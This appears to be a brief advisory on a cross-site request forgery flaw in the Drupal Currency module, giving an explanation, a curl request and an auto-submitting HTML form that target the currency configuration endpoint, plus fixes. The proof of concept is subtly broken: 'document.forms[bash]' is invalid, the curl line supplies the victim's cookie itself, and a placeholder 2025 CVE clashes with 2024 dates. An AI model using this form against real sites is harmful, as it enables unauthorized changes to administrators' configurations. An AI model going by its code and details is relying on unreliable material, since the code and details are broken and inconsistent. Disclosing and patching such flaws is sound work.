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The CVE-2025-XXXX vulnerability in the Drupal Currency module is a classic Cross-Site Request Forgery (CSRF) flaw. It stems from the module’s failure to implement adequate CSRF protections, such as unique tokens, for certain state-changing HTTP requests. An attacker can exploit this by crafting a malicious web page. When an authenticated Drupal administrator with the necessary permissions visits this page, their browser automatically submits a forged request to the vulnerable Drupal site. This request could, for instance, silently alter the site’s currency configuration. Since the request is accompanied by the user’s valid session cookies, the Drupal application processes it as a legitimate action from the authorized user, leading to unauthorized changes without the victim’s knowledge or consent.
Platform: Drupal
Version: <3.5.0
Vulnerability : CSRF
Severity: Moderate
date: 2024-10-30
Prediction: 2024-11-13
What Undercode Say:
curl -X POST http://[drupal-site]/path-to-currency-config \ -H "Content-Type: application/x-www-form-urlencoded" \ -b "session_cookie=value" \ --data "currency_settings=malicious_value"
<html> <body onload="document.forms[bash].submit()"> <form action="http://[drupal-site]/path-to-currency-config" method="POST"> <input type="hidden" name="currency_settings" value="malicious_value" /> </form> </body> </html>
How Exploit:
Attacker crafts a malicious form targeting the Currency module’s configuration endpoint, which lacks CSRF tokens. The form is hosted on a separate domain. An authenticated admin is tricked into visiting the malicious page, which automatically submits the form. The Drupal site processes the request with the admin’s privileges, changing the configuration.
Protection from this CVE:
Update to Currency module version 3.5.0 or later. If an update is not possible, implement custom CSRF token validation for the affected forms or restrict admin access to untrusted networks.
Impact:
Unauthorized alteration of currency settings on the Drupal site, potentially leading to incorrect financial calculations or displayed prices for users.
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Sources:
Reported By: github.com
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